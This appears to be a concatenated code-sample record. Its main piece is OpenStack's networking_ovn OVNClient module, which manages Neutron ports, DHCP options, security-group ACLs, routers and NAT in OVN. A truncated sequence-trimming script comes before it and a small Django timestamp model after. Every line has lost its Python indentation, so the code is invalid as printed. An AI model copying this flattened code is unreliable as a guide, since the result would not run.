print >> R23, ">%s\n%s" % (read_header, seq[:23])
IN.close()
F23.close()
R23.close()
return
dispatch (sys. argv[1], sys. argv[2], sys. argv[3])
| python |
# Copyright 2017 Red Hat, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import collections
import copy
import netaddr
from neutron_lib.api.definitions import l3
from neutron_lib.api.definitions import port_security as psec
from neutron_lib import constants as const
from neutron_lib import context as n_context
from neutron_lib.plugins import directory
from neutron_lib.utils import helpers
from neutron_lib.utils import net as n_net
from oslo_config import cfg
from oslo_log import log
from oslo_utils import excutils
from networking_ovn.common import acl as ovn_acl
from networking_ovn.common import config
from networking_ovn.common import constants as ovn_const
from networking_ovn.common import utils
from networking_ovn.l3 import l3_ovn_scheduler
from networking_ovn.ml2 import qos_driver
LOG = log.getLogger(__name__)
OvnPortInfo = collections.namedtuple('OvnPortInfo', ['type', 'options',
'addresses',
'port_security',
'parent_name', 'tag',
'dhcpv4_options',
'dhcpv6_options'])
class OVNClient(object):
def __init__(self, nb_idl, sb_idl):
self._nb_idl = nb_idl
self._sb_idl = sb_idl
self._plugin_property = None
qos_driver.OVNQosNotificationDriver.create()
self._qos_driver = qos_driver.OVNQosDriver(self)
self._ovn_scheduler = l3_ovn_scheduler.get_scheduler()
@property
def _plugin(self):
if self._plugin_property is None:
self._plugin_property = directory.get_plugin()
return self._plugin_property
def _get_allowed_addresses_from_port(self, port):
if not port.get(psec.PORTSECURITY):
return []
if utils.is_lsp_trusted(port):
return []
allowed_addresses = set()
addresses = port['mac_address']
for ip in port.get('fixed_ips', []):
addresses += ' ' + ip['ip_address']
for allowed_address in port.get('allowed_address_pairs', []):
# If allowed address pair has same mac as the port mac,
# append the allowed ip address to the 'addresses'.
# Else we will have multiple entries for the same mac in
# 'Logical_Switch_Port.port_security'.
if allowed_address['mac_address'] == port['mac_address']:
addresses += ' ' + allowed_address['ip_address']
else:
allowed_addresses.add(allowed_address['mac_address'] + ' ' +
allowed_address['ip_address'])
allowed_addresses.add(addresses)
return list(allowed_addresses)
def _get_subnet_dhcp_options_for_port(self, port, ip_version):
"""Returns the subnet dhcp options for the port.
Return the first found DHCP options belong for the port.
"""
subnets = [
fixed_ip['subnet_id']
for fixed_ip in port['fixed_ips']
if netaddr.IPAddress(fixed_ip['ip_address']).version == ip_version]
get_opts = self._nb_idl.get_subnets_dhcp_options(subnets)
if get_opts:
if ip_version == const.IP_VERSION_6:
# Always try to find a dhcpv6 stateful v6 subnet to return.
# This ensures port can get one stateful v6 address when port
# has multiple dhcpv6 stateful and stateless subnets.
for opts in get_opts:
# We are setting ovn_const.DHCPV6_STATELESS_OPT to "true"
# in _get_ovn_dhcpv6_opts, so entries in DHCP_Options table
# should have unicode type 'true' if they were defined as
# dhcpv6 stateless.
if opts['options'].get(
ovn_const.DHCPV6_STATELESS_OPT) != 'true':
return opts
return get_opts[0]
def _get_port_dhcp_options(self, port, ip_version):
"""Return dhcp options for port.
In case the port is dhcp disabled, or IP addresses it has belong
to dhcp disabled subnets, returns None.
Otherwise, returns a dict:
- with content from a existing DHCP_Options row for subnet, if the
port has no extra dhcp options.
- with only one item ('cmd', AddDHCPOptionsCommand(..)), if the port
has extra dhcp options. The command should be processed in the same
transaction with port creating or updating command to avoid orphan
row issue happen.
"""
lsp_dhcp_disabled, lsp_dhcp_opts = utils.get_lsp_dhcp_opts(
port, ip_version)
if lsp_dhcp_disabled:
return
subnet_dhcp_options = self._get_subnet_dhcp_options_for_port(
port, ip_version)
if not subnet_dhcp_options:
# NOTE(lizk): It's possible for Neutron to configure a port with IP
# address belongs to subnet disabled dhcp. And no DHCP_Options row
# will be inserted for such a subnet. So in that case, the subnet
# dhcp options here will be None.
return
if not lsp_dhcp_opts:
return subnet_dhcp_options
# This port has extra DHCP options defined, so we will create a new
# row in DHCP_Options table for it.
subnet_dhcp_options['options'].update(lsp_dhcp_opts)
subnet_dhcp_options['external_ids'].update(
{'port_id': port['id']})
subnet_id = subnet_dhcp_options['external_ids']['subnet_id']
add_dhcp_opts_cmd = self._nb_idl.add_dhcp_options(
subnet_id, port_id=port['id'],
cidr=subnet_dhcp_options['cidr'],
options=subnet_dhcp_options['options'],
external_ids=subnet_dhcp_options['external_ids'])
return {'cmd': add_dhcp_opts_cmd}
def _get_port_options(self, port, qos_options=None):
binding_prof = utils.validate_and_get_data_from_binding_profile(port)
if qos_options is None:
qos_options = self._qos_driver.get_qos_options(port)
vtep_physical_switch = binding_prof.get('vtep-physical-switch')
if vtep_physical_switch:
vtep_logical_switch = binding_prof.get('vtep-logical-switch')
port_type = 'vtep'
options = {'vtep-physical-switch': vtep_physical_switch,
'vtep-logical-switch': vtep_logical_switch}
addresses = "unknown"
parent_name = []
tag = []
port_security = []
else:
options = qos_options
parent_name = binding_prof.get('parent_name', [])
tag = binding_prof.get('tag', [])
addresses = port['mac_address']
for ip in port.get('fixed_ips', []):
addresses += ' ' + ip['ip_address']
port_security = self._get_allowed_addresses_from_port(port)
port_type = ''
dhcpv4_options = self._get_port_dhcp_options(port, const.IP_VERSION_4)
dhcpv6_options = self._get_port_dhcp_options(port, const.IP_VERSION_6)
return OvnPortInfo(port_type, options, [addresses], port_security,
parent_name, tag, dhcpv4_options, dhcpv6_options)
def create_port(self, port):
port_info = self._get_port_options(port)
external_ids = {ovn_const.OVN_PORT_NAME_EXT_ID_KEY: port['name']}
lswitch_name = utils.ovn_name(port['network_id'])
admin_context = n_context.get_admin_context()
sg_cache = {}
subnet_cache = {}
# It's possible to have a network created on one controller and then a
# port created on a different controller quickly enough that the second
# controller does not yet see that network in its local cache of the
# OVN northbound database. Check if the logical switch is present
# or not in the idl's local copy of the database before creating
# the lswitch port.
self._nb_idl.check_for_row_by_value_and_retry(
'Logical_Switch', 'name', lswitch_name)
with self._nb_idl.transaction(check_error=True) as txn:
if not port_info.dhcpv4_options:
dhcpv4_options = []
elif 'cmd' in port_info.dhcpv4_options:
dhcpv4_options = txn.add(port_info.dhcpv4_options['cmd'])
else:
dhcpv4_options = [port_info.dhcpv4_options['uuid']]
if not port_info.dhcpv6_options:
dhcpv6_options = []
elif 'cmd' in port_info.dhcpv6_options:
dhcpv6_options = txn.add(port_info.dhcpv6_options['cmd'])
else:
dhcpv6_options = [port_info.dhcpv6_options['uuid']]
# The lport_name *must* be neutron port['id']. It must match the
# iface-id set in the Interfaces table of the Open_vSwitch
# database which nova sets to be the port ID.
txn.add(self._nb_idl.create_lswitch_port(
lport_name=port['id'],
lswitch_name=lswitch_name,
addresses=port_info.addresses,
external_ids=external_ids,
parent_name=port_info.parent_name,
tag=port_info.tag,
enabled=port.get('admin_state_up'),
options=port_info.options,
type=port_info.type,
port_security=port_info.port_security,
dhcpv4_options=dhcpv4_options,
dhcpv6_options=dhcpv6_options))
acls_new = ovn_acl.add_acls(self._plugin, admin_context,
port, sg_cache, subnet_cache)
for acl in acls_new:
txn.add(self._nb_idl.add_acl(**acl))
sg_ids = utils.get_lsp_security_groups(port)
if port.get('fixed_ips') and sg_ids:
addresses = ovn_acl.acl_port_ips(port)
# NOTE(rtheis): Fail port creation if the address set doesn't
# exist. This prevents ports from being created on any security
# groups out-of-sync between neutron and OVN.
for sg_id in sg_ids:
for ip_version in addresses:
if addresses[ip_version]:
txn.add(self._nb_idl.update_address_set(
name=utils.ovn_addrset_name(sg_id,
ip_version),
addrs_add=addresses[ip_version],
addrs_remove=None,
if_exists=False))
def update_port(self, port, original_port, qos_options=None):
port_info = self._get_port_options(port, qos_options)
external_ids = {
ovn_const.OVN_PORT_NAME_EXT_ID_KEY: port['name']}
admin_context = n_context.get_admin_context()
sg_cache = {}
subnet_cache = {}
with self._nb_idl.transaction(check_error=True) as txn:
columns_dict = {}
if port.get('device_owner') in [const.DEVICE_OWNER_ROUTER_INTF,
const.DEVICE_OWNER_ROUTER_GW]:
port_info.options.update(
self._nb_idl.get_router_port_options(port['id']))
else:
columns_dict['type'] = port_info.type
columns_dict['addresses'] = port_info.addresses
if not port_info.dhcpv4_options:
dhcpv4_options = []
elif 'cmd' in port_info.dhcpv4_options:
dhcpv4_options = txn.add(port_info.dhcpv4_options['cmd'])
else:
dhcpv4_options = [port_info.dhcpv4_options['uuid']]
if not port_info.dhcpv6_options:
dhcpv6_options = []
elif 'cmd' in port_info.dhcpv6_options:
dhcpv6_options = txn.add(port_info.dhcpv6_options['cmd'])
else:
dhcpv6_options = [port_info.dhcpv6_options['uuid']]
# NOTE(lizk): Fail port updating if port doesn't exist. This
# prevents any new inserted resources to be orphan, such as port
# dhcp options or ACL rules for port, e.g. a port was created
# without extra dhcp options and security group, while updating
# includes the new attributes setting to port.
txn.add(self._nb_idl.set_lswitch_port(
lport_name=port['id'],
external_ids=external_ids,
parent_name=port_info.parent_name,
tag=port_info.tag,
options=port_info.options,
enabled=port['admin_state_up'],
port_security=port_info.port_security,
dhcpv4_options=dhcpv4_options,
dhcpv6_options=dhcpv6_options,
if_exists=False,
**columns_dict))
# Determine if security groups or fixed IPs are updated.
old_sg_ids = set(utils.get_lsp_security_groups(original_port))
new_sg_ids = set(utils.get_lsp_security_groups(port))
detached_sg_ids = old_sg_ids - new_sg_ids
attached_sg_ids = new_sg_ids - old_sg_ids
is_fixed_ips_updated = \
original_port.get('fixed_ips') != port.get('fixed_ips')
# Refresh ACLs for changed security groups or fixed IPs.
if detached_sg_ids or attached_sg_ids or is_fixed_ips_updated:
# Note that update_acls will compare the port's ACLs to
# ensure only the necessary ACLs are added and deleted
# on the transaction.
acls_new = ovn_acl.add_acls(self._plugin,
admin_context,
port,
sg_cache,
subnet_cache)
txn.add(self._nb_idl.update_acls([port['network_id']],
[port],
{port['id']: acls_new},
need_compare=True))
# Refresh address sets for changed security groups or fixed IPs.
if (len(port.get('fixed_ips')) != 0 or
len(original_port.get('fixed_ips')) != 0):
addresses = ovn_acl.acl_port_ips(port)
addresses_old = ovn_acl.acl_port_ips(original_port)
# Add current addresses to attached security groups.
for sg_id in attached_sg_ids:
for ip_version in addresses:
if addresses[ip_version]:
txn.add(self._nb_idl.update_address_set(
name=utils.ovn_addrset_name(sg_id, ip_version),
addrs_add=addresses[ip_version],
addrs_remove=None))
# Remove old addresses from detached security groups.
for sg_id in detached_sg_ids:
for ip_version in addresses_old:
if addresses_old[ip_version]:
txn.add(self._nb_idl.update_address_set(
name=utils.ovn_addrset_name(sg_id, ip_version),
addrs_add=None,
addrs_remove=addresses_old[ip_version]))
if is_fixed_ips_updated:
# We have refreshed address sets for attached and detached
# security groups, so now we only need to take care of
# unchanged security groups.
unchanged_sg_ids = new_sg_ids & old_sg_ids
for sg_id in unchanged_sg_ids:
for ip_version in addresses:
addr_add = (set(addresses[ip_version]) -
set(addresses_old[ip_version])) or None
addr_remove = (set(addresses_old[ip_version]) -
set(addresses[ip_version])) or None
if addr_add or addr_remove:
txn.add(self._nb_idl.update_address_set(
name=utils.ovn_addrset_name(
sg_id, ip_version),
addrs_add=addr_add,
addrs_remove=addr_remove))
def delete_port(self, port):
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.delete_lswitch_port(port['id'],
utils.ovn_name(port['network_id'])))
txn.add(self._nb_idl.delete_acl(
utils.ovn_name(port['network_id']), port['id']))
if port.get('fixed_ips'):
addresses = ovn_acl.acl_port_ips(port)
# Set skip_trusted_port False for deleting port
for sg_id in utils.get_lsp_security_groups(port, False):
for ip_version in addresses:
if addresses[ip_version]:
txn.add(self._nb_idl.update_address_set(
name=utils.ovn_addrset_name(sg_id, ip_version),
addrs_add=None,
addrs_remove=addresses[ip_version]))
def _update_floatingip(self, floatingip, router_id, associate=True):
fip_apis = {}
fip_apis['nat'] = self._nb_idl.add_nat_rule_in_lrouter if \
associate else self._nb_idl.delete_nat_rule_in_lrouter
gw_lrouter_name = utils.ovn_name(router_id)
try:
with self._nb_idl.transaction(check_error=True) as txn:
nat_rule_args = (gw_lrouter_name,)
if associate:
# TODO(chandrav): Since the floating ip port is not
# bound to any chassis, packets destined to floating ip
# will be dropped. To overcome this, delete the floating
# ip port. Proper fix for this would be to redirect packets
# destined to floating ip to the router port. This would
# require changes in ovn-northd.
txn.add(self._nb_idl.delete_lswitch_port(
floatingip['fip_port_id'],
utils.ovn_name(floatingip['fip_net_id'])))
# Get the list of nat rules and check if the external_ip
# with type 'dnat_and_snat' already exists or not.
# If exists, set the new value.
# This happens when the port associated to a floating ip
# is deleted before the disassociation.
lrouter_nat_rules = self._nb_idl.get_lrouter_nat_rules(
gw_lrouter_name)
for nat_rule in lrouter_nat_rules:
if (nat_rule['external_ip'] ==
floatingip['external_ip'] and
nat_rule['type'] == 'dnat_and_snat'):
fip_apis['nat'] = (
self._nb_idl.set_nat_rule_in_lrouter)
nat_rule_args = (gw_lrouter_name, nat_rule['uuid'])
break
txn.add(fip_apis['nat'](*nat_rule_args, type='dnat_and_snat',
logical_ip=floatingip['logical_ip'],
external_ip=floatingip['external_ip']))
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to update NAT rule in gateway '
'router. Error: %s', e)
def create_floatingip(self, floatingip, router_id):
try:
self._update_floatingip(floatingip, router_id)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to create floating ip in gateway '
'router. Error: %s', e)
def update_floatingip(self, floatingip, router_id, associate=True):
try:
self._update_floatingip(floatingip, router_id,
associate=associate)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to update floating ip in gateway '
'router. Error: %s', e)
def delete_floatingip(self, floatingip, router_id):
try:
self._update_floatingip(floatingip, router_id,
associate=False)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to delete floating ip in gateway '
'router. Error: %s', e)
def disassociate_floatingip(self, floatingip, router_id):
try:
self._update_floatingip(floatingip, router_id,
associate=False)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to disassociate floating ip in gateway '
'router. Error: %s', e)
def _get_external_router_and_gateway_ip(self, context, router):
ext_gw_info = router.get(l3.EXTERNAL_GW_INFO, {})
ext_fixed_ips = ext_gw_info.get('external_fixed_ips', [])
for ext_fixed_ip in ext_fixed_ips:
subnet_id = ext_fixed_ip['subnet_id']
subnet = self._plugin.get_subnet(context, subnet_id)
if subnet['ip_version'] == 4:
return ext_fixed_ip['ip_address'], subnet.get('gateway_ip')
return '', ''
def _update_router_routes(self, context, router_id, add, remove):
lrouter_name = utils.ovn_name(router_id)
with self._nb_idl.transaction(check_error=True) as txn:
for route in add:
txn.add(self._nb_idl.add_static_route(
lrouter_name, ip_prefix=route['destination'],
nexthop=route['nexthop']))
for route in remove:
txn.add(self._nb_idl.delete_static_route(
lrouter_name, ip_prefix=route['destination'],
nexthop=route['nexthop']))
def _delete_router_ext_gw(self, context, router, networks):
if not networks:
networks = []
router_id = router['id']
gw_port_id = router['gw_port_id']
gw_lrouter_name = utils.ovn_name(router_id)
router_ip, ext_gw_ip = self._get_external_router_and_gateway_ip(
context, router)
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.delete_static_route(gw_lrouter_name,
ip_prefix='0.0.0.0/0',
nexthop=ext_gw_ip))
txn.add(self._nb_idl.delete_lrouter_port(
utils.ovn_lrouter_port_name(gw_port_id),
gw_lrouter_name))
for network in networks:
txn.add(self._nb_idl.delete_nat_rule_in_lrouter(
gw_lrouter_name, type='snat', logical_ip=network,
external_ip=router_ip))
def _get_networks_for_router_port(self, port_fixed_ips):
context = n_context.get_admin_context()
networks = set()
for fixed_ip in port_fixed_ips:
subnet_id = fixed_ip['subnet_id']
subnet = self._plugin.get_subnet(context, subnet_id)
cidr = netaddr.IPNetwork(subnet['cidr'])
networks.add("%s/%s" % (fixed_ip['ip_address'],
str(cidr.prefixlen)))
return list(networks)
def _add_router_ext_gw(self, context, router, networks):
router_id = router['id']
lrouter_name = utils.ovn_name(router['id'])
# 1. Add the external gateway router port.
_, ext_gw_ip = self._get_external_router_and_gateway_ip(context,
router)
gw_port_id = router['gw_port_id']
port = self._plugin.get_port(context, gw_port_id)
try:
self.create_router_port(router_id, port)
except Exception:
with excutils.save_and_reraise_exception():
self._delete_router_ext_gw(context, router, networks)
LOG.error('Unable to add external router port %(id)s to '
'lrouter %(name)s',
{'id': port['id'], 'name': lrouter_name})
# 2. Add default route with nexthop as ext_gw_ip
route = [{'destination': '0.0.0.0/0', 'nexthop': ext_gw_ip}]
try:
self._update_router_routes(context, router_id, route, [])
except Exception:
with excutils.save_and_reraise_exception():
self._delete_router_ext_gw(context, router, networks)
LOG.error('Error updating routes %(route)s in lrouter '
'%(name)s', {'route': route, 'name': lrouter_name})
# 3. Add snat rules for tenant networks in lrouter if snat is enabled
if utils.is_snat_enabled(router) and networks:
try:
self.update_nat_rules(router, networks, enable_snat=True)
except Exception:
with excutils.save_and_reraise_exception():
self._delete_router_ext_gw(context, router, networks)
LOG.error('Error in updating SNAT for lrouter %s',
lrouter_name)
def _check_external_ips_changed(self, gateway_old, gateway_new):
if gateway_old['network_id'] != gateway_new['network_id']:
return True
old_ext_ips = gateway_old.get('external_fixed_ips', [])
new_ext_ips = gateway_new.get('external_fixed_ips', [])
old_subnet_ids = set(f['subnet_id'] for f in old_ext_ips
if f.get('subnet_id'))
new_subnet_ids = set(f['subnet_id'] for f in new_ext_ips
if f.get('subnet_id'))
if old_subnet_ids != new_subnet_ids:
return True
old_ip_addresses = set(f['ip_address'] for f in old_ext_ips
if f.get('ip_address'))
new_ip_addresses = set(f['ip_address'] for f in new_ext_ips
if f.get('ip_address'))
if old_ip_addresses != new_ip_addresses:
return True
return False
def _update_lrouter_routes(self, context, router_id, add, remove):
if not any([add, remove]):
return
lrouter_name = utils.ovn_name(router_id)
with self._nb_idl.transaction(check_error=True) as txn:
for route in add:
txn.add(self._nb_idl.add_static_route(
lrouter_name, ip_prefix=route['destination'],
nexthop=route['nexthop']))
for route in remove:
txn.add(self._nb_idl.delete_static_route(
lrouter_name, ip_prefix=route['destination'],
nexthop=route['nexthop']))
def create_router(self, router, networks=None):
"""Create a logical router."""
context = n_context.get_admin_context()
external_ids = {ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY:
router.get('name', 'no_router_name')}
enabled = router.get('admin_state_up')
lrouter_name = utils.ovn_name(router['id'])
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.create_lrouter(lrouter_name,
external_ids=external_ids,
enabled=enabled,
options={}))
if router.get(l3.EXTERNAL_GW_INFO) and networks is not None:
self._add_router_ext_gw(context, router, networks)
def update_router(self, new_router, original_router, delta, networks):
"""Update a logical router."""
context = n_context.get_admin_context()
router_id = new_router['id']
gateway_new = new_router.get(l3.EXTERNAL_GW_INFO)
gateway_old = original_router.get(l3.EXTERNAL_GW_INFO)
try:
if gateway_new and not gateway_old:
# Route gateway is set
self._add_router_ext_gw(context, new_router, networks)
elif gateway_old and not gateway_new:
# router gateway is removed
self._delete_router_ext_gw(context, original_router,
networks)
elif gateway_new and gateway_old:
# Check if external gateway has changed, if yes, delete
# the old gateway and add the new gateway
if self._check_external_ips_changed(gateway_old, gateway_new):
self._delete_router_ext_gw(
context, original_router, networks)
self._add_router_ext_gw(context, new_router, networks)
else:
# Check if snat has been enabled/disabled and update
old_snat_state = gateway_old.get('enable_snat', True)
new_snat_state = gateway_new.get('enable_snat', True)
if old_snat_state != new_snat_state:
if utils.is_snat_enabled(new_router) and networks:
self.update_nat_rules(new_router, networks,
enable_snat=new_snat_state)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to update router %(router)s. '
'Error: %(error)s', {'router': router_id,
'error': e})
# Check for change in admin_state_up
update = {}
router_name = utils.ovn_name(router_id)
enabled = delta['router'].get('admin_state_up')
if enabled and enabled != original_router['admin_state_up']:
update['enabled'] = enabled
# Check for change in name
name = delta['router'].get('name')
if name and name != original_router['name']:
external_ids = {ovn_const.OVN_ROUTER_NAME_EXT_ID_KEY: name}
update['external_ids'] = external_ids
if update:
try:
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.update_lrouter(router_name, **update))
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to update router %(router)s. '
'Error: %(error)s', {'router': router_id,
'error': e})
# Check for route updates
routes = delta['router'].get('routes')
if routes:
added, removed = helpers.diff_list_of_dict(
original_router['routes'], routes)
try:
self._update_lrouter_routes(context, router_id, added, removed)
except Exception as e:
with excutils.save_and_reraise_exception():
LOG.error('Unable to update static routes in router '
'%(router)s. Error: %(error)s',
{'router': router_id, 'error': e})
def delete_router(self, router_id):
"""Delete a logical router."""
lrouter_name = utils.ovn_name(router_id)
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.delete_lrouter(lrouter_name))
def create_router_port(self, router_id, port):
"""Create a logical router port."""
lrouter = utils.ovn_name(router_id)
networks = self._get_networks_for_router_port(port['fixed_ips'])
lrouter_port_name = utils.ovn_lrouter_port_name(port['id'])
is_gw_port = const.DEVICE_OWNER_ROUTER_GW == port.get(
'device_owner')
columns = {}
if is_gw_port:
selected_chassis = self._ovn_scheduler.select(
self._nb_idl, self._sb_idl, lrouter_port_name)
columns['options'] = {
ovn_const.OVN_GATEWAY_CHASSIS_KEY: selected_chassis}
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.add_lrouter_port(name=lrouter_port_name,
lrouter=lrouter,
mac=port['mac_address'],
networks=networks,
**columns))
txn.add(self._nb_idl.set_lrouter_port_in_lswitch_port(
port['id'], lrouter_port_name))
def update_router_port(self, router_id, port, networks=None):
"""Update a logical router port."""
if networks is None:
networks = self._get_networks_for_router_port(port['fixed_ips'])
lrouter_port_name = utils.ovn_lrouter_port_name(port['id'])
update = {'networks': networks}
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.update_lrouter_port(name=lrouter_port_name,
if_exists=False,
**update))
txn.add(self._nb_idl.set_lrouter_port_in_lswitch_port(
port['id'], lrouter_port_name))
def delete_router_port(self, port_id, router_id):
"""Delete a logical router port."""
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.delete_lrouter_port(
utils.ovn_lrouter_port_name(port_id),
utils.ovn_name(router_id), if_exists=True))
def update_nat_rules(self, router, networks, enable_snat):
"""Update the NAT rules in a logical router."""
context = n_context.get_admin_context()
func = (self._nb_idl.add_nat_rule_in_lrouter if enable_snat else
self._nb_idl.delete_nat_rule_in_lrouter)
gw_lrouter_name = utils.ovn_name(router['id'])
router_ip, _ = self._get_external_router_and_gateway_ip(context,
router)
with self._nb_idl.transaction(check_error=True) as txn:
for network in networks:
txn.add(func(gw_lrouter_name, type='snat', logical_ip=network,
external_ip=router_ip))
def _create_provnet_port(self, txn, network, physnet, tag):
txn.add(self._nb_idl.create_lswitch_port(
lport_name=utils.ovn_provnet_port_name(network['id']),
lswitch_name=utils.ovn_name(network['id']),
addresses=['unknown'],
external_ids={},
type='localnet',
tag=tag if tag else [],
options={'network_name': physnet}))
def create_network(self, network, physnet=None, segid=None):
# Create a logical switch with a name equal to the Neutron network
# UUID. This provides an easy way to refer to the logical switch
# without having to track what UUID OVN assigned to it.
ext_ids = {
ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY: network['name']
}
lswitch_name = utils.ovn_name(network['id'])
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.create_lswitch(
lswitch_name=lswitch_name,
external_ids=ext_ids))
if physnet is not None:
tag = int(segid) if segid else None
self._create_provnet_port(txn, network, physnet, tag)
return network
def delete_network(self, network_id):
self._nb_idl.delete_lswitch(
utils.ovn_name(network_id), if_exists=True).execute(
check_error=True)
def update_network(self, network, original_network):
if network['name'] != original_network['name']:
ext_id = [ovn_const.OVN_NETWORK_NAME_EXT_ID_KEY, network['name']]
self._nb_idl.set_lswitch_ext_id(
utils.ovn_name(network['id']), ext_id).execute(
check_error=True)
self._qos_driver.update_network(network, original_network)
def _add_subnet_dhcp_options(self, subnet, network, ovn_dhcp_options=None):
if utils.is_dhcp_options_ignored(subnet):
return
if not ovn_dhcp_options:
ovn_dhcp_options = self._get_ovn_dhcp_options(subnet, network)
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(self._nb_idl.add_dhcp_options(
subnet['id'], **ovn_dhcp_options))
def _get_ovn_dhcp_options(self, subnet, network, server_mac=None):
external_ids = {'subnet_id': subnet['id']}
dhcp_options = {'cidr': subnet['cidr'], 'options': {},
'external_ids': external_ids}
if subnet['enable_dhcp']:
if subnet['ip_version'] == const.IP_VERSION_4:
dhcp_options['options'] = self._get_ovn_dhcpv4_opts(
subnet, network, server_mac=server_mac)
else:
dhcp_options['options'] = self._get_ovn_dhcpv6_opts(
subnet, server_id=server_mac)
return dhcp_options
def _get_ovn_dhcpv4_opts(self, subnet, network, server_mac=None):
if not subnet['gateway_ip']:
return {}
default_lease_time = str(config.get_ovn_dhcp_default_lease_time())
mtu = network['mtu']
options = {
'server_id': subnet['gateway_ip'],
'lease_time': default_lease_time,
'mtu': str(mtu),
'router': subnet['gateway_ip']
}
if server_mac:
options['server_mac'] = server_mac
else:
options['server_mac'] = n_net.get_random_mac(
cfg.CONF.base_mac.split(':'))
if subnet['dns_nameservers']:
dns_servers = '{%s}' % ', '.join(subnet['dns_nameservers'])
options['dns_server'] = dns_servers
# If subnet hostroutes are defined, add them in the
# 'classless_static_route' dhcp option
classless_static_routes = "{"
for route in subnet['host_routes']:
classless_static_routes += ("%s,%s, ") % (
route['destination'], route['nexthop'])
if classless_static_routes != "{":
# if there are static routes, then we need to add the
# default route in this option. As per RFC 3442 dhcp clients
# should ignore 'router' dhcp option (option 3)
# if option 121 is present.
classless_static_routes += "0.0.0.0/0,%s}" % (subnet['gateway_ip'])
options['classless_static_route'] = classless_static_routes
return options
def _get_ovn_dhcpv6_opts(self, subnet, server_id=None):
"""Returns the DHCPv6 options"""
dhcpv6_opts = {
'server_id': server_id or n_net.get_random_mac(
cfg.CONF.base_mac.split(':'))
}
if subnet['dns_nameservers']:
dns_servers = '{%s}' % ', '.join(subnet['dns_nameservers'])
dhcpv6_opts['dns_server'] = dns_servers
if subnet.get('ipv6_address_mode') == const.DHCPV6_STATELESS:
dhcpv6_opts[ovn_const.DHCPV6_STATELESS_OPT] = 'true'
return dhcpv6_opts
def _remove_subnet_dhcp_options(self, subnet_id):
with self._nb_idl.transaction(check_error=True) as txn:
dhcp_options = self._nb_idl.get_subnet_and_ports_dhcp_options(
subnet_id)
# Remove subnet and port DHCP_Options rows, the DHCP options in
# lsp rows will be removed by related UUID
for dhcp_option in dhcp_options:
txn.add(self._nb_idl.delete_dhcp_options(dhcp_option['uuid']))
def _enable_subnet_dhcp_options(self, subnet, network):
if utils.is_dhcp_options_ignored(subnet):
return
filters = {'fixed_ips': {'subnet_id': [subnet['id']]}}
all_ports = self._plugin.get_ports(n_context.get_admin_context(),
filters=filters)
ports = [p for p in all_ports if not p['device_owner'].startswith(
const.DEVICE_OWNER_PREFIXES)]
subnet_dhcp_options = self._get_ovn_dhcp_options(subnet, network)
subnet_dhcp_cmd = self._nb_idl.add_dhcp_options(subnet['id'],
**subnet_dhcp_options)
with self._nb_idl.transaction(check_error=True) as txn:
txn.add(subnet_dhcp_cmd)
with self._nb_idl.transaction(check_error=True) as txn:
# Traverse ports to add port DHCP_Options rows
for port in ports:
lsp_dhcp_disabled, lsp_dhcp_opts = utils.get_lsp_dhcp_opts(
port, subnet['ip_version'])
if lsp_dhcp_disabled:
continue
elif not lsp_dhcp_opts:
lsp_dhcp_options = [subnet_dhcp_cmd.result]
else:
port_dhcp_options = copy.deepcopy(subnet_dhcp_options)
port_dhcp_options['options'].update(lsp_dhcp_opts)
port_dhcp_options['external_ids'].update(
{'port_id': port['id']})
lsp_dhcp_options = txn.add(self._nb_idl.add_dhcp_options(
subnet['id'], port_id=port['id'],
**port_dhcp_options))
columns = {'dhcpv6_options': lsp_dhcp_options} if \
subnet['ip_version'] == const.IP_VERSION_6 else {
'dhcpv4_options': lsp_dhcp_options}
# Set lsp DHCP options
txn.add(self._nb_idl.set_lswitch_port(
lport_name=port['id'],
**columns))
def _update_subnet_dhcp_options(self, subnet, network):
if utils.is_dhcp_options_ignored(subnet):
return
original_options = self._nb_idl.get_subnet_dhcp_options(subnet['id'])
mac = None
if original_options:
if subnet['ip_version'] == const.IP_VERSION_6:
mac = original_options['options'].get('server_id')
else:
mac = original_options['options'].get('server_mac')
new_options = self._get_ovn_dhcp_options(subnet, network, mac)
# Check whether DHCP changed
if (original_options and
original_options['cidr'] == new_options['cidr'] and
original_options['options'] == new_options['options']):
return
txn_commands = self._nb_idl.compose_dhcp_options_commands(
subnet['id'], **new_options)
with self._nb_idl.transaction(check_error=True) as txn:
for cmd in txn_commands:
txn.add(cmd)
def create_subnet(self, subnet, network):
if subnet['enable_dhcp']:
self._add_subnet_dhcp_options(subnet, network)
def update_subnet(self, subnet, original_subnet, network):
if not subnet['enable_dhcp'] and not original_subnet['enable_dhcp']:
return
if not original_subnet['enable_dhcp']:
self._enable_subnet_dhcp_options(subnet, network)
elif not subnet['enable_dhcp']:
self._remove_subnet_dhcp_options(subnet['id'])
else:
self._update_subnet_dhcp_options(subnet, network)
def delete_subnet(self, subnet_id):
self._remove_subnet_dhcp_options(subnet_id)
| python |
from django.db import models
from django.conf import settings
class Timestampable(models.Model):
created = models.DateTimeField(auto_now_add=True)
updated = models.DateTimeField(auto_now=True)
